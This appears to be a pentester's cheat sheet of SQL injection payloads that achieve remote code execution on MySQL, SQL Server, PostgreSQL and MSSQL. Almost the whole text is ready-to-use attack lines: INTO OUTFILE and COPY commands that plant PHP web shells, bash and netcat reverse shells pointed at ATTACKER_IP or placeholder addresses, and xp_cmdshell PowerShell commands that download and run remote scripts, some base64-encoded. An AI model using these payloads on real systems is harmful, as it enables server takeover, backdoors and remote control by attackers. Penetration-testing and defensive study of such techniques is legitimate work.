Payload for RCE

MySQL

Modify each command as per the situation before using it.

If direcotry is writebale then payload will be created.

'; SELECT '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'"); ?>', null, null, null, null INTO OUTFILE '/var/www/html/tmp/shell.php'; -- //

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

You can confirm if /tmp folder exists or not using feroxbuster tool.

SQL Server

'; exec xp_cmdshell('powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString(\'http://ATTACKER_IP/shell.ps1\')"') --

PostgreSQL

Command Execution with PostgreSQL Copy CommandMedium

Red Teaming – Through PostgreSQL to shell | Ivan GlinkinIvan Glinkin | Information Security Expert

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

# SQLi if you have write permission.
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'; -- 


# SQLi for Reverse Shell Using COPY FROM PROGRAM

'; DROP TABLE IF EXISTS pwned_table; CREATE TABLE pwned_table(data text); COPY pwned_table FROM PROGRAM '/usr/bin/nc.traditional -e /bin/sh <IP> <PORT>'; --

'; DROP TABLE IF EXISTS pwned_table; CREATE TABLE pwned_table(data text); COPY pwned_table FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"'; --

x'EXEC+master.dbo.xp_cmdshell+'powershell+-e+JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA5ACIALAA2ADkANgA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='-- -

MSSQL

If you can log in to impacket-mssqlclient that is you have a valid login credential then run commands in that for RCE.

1'; EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- \\

# For RCE, I am using powershell base64 encoded reverse shell.
1'; EXEC xp_cmdshell '<Code>' -- \\

If above method doesn't works then try belwo method.

$Text =  "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.212/powercat.ps1');powercat -c 192.168.45.225 -p 443 -e powershell"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

Use this encoded text to make a reverse shell but also make sure that Python werbserver is on at port 80. in a directory where powercat.ps1 is present as netcat is listening.

Now let's try reverse shell.

EXECUTE xp_cmdshell 'powershell -E SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMQAyAC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA1ACAALQBwACAANAA0ADMAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsAA=='; -- //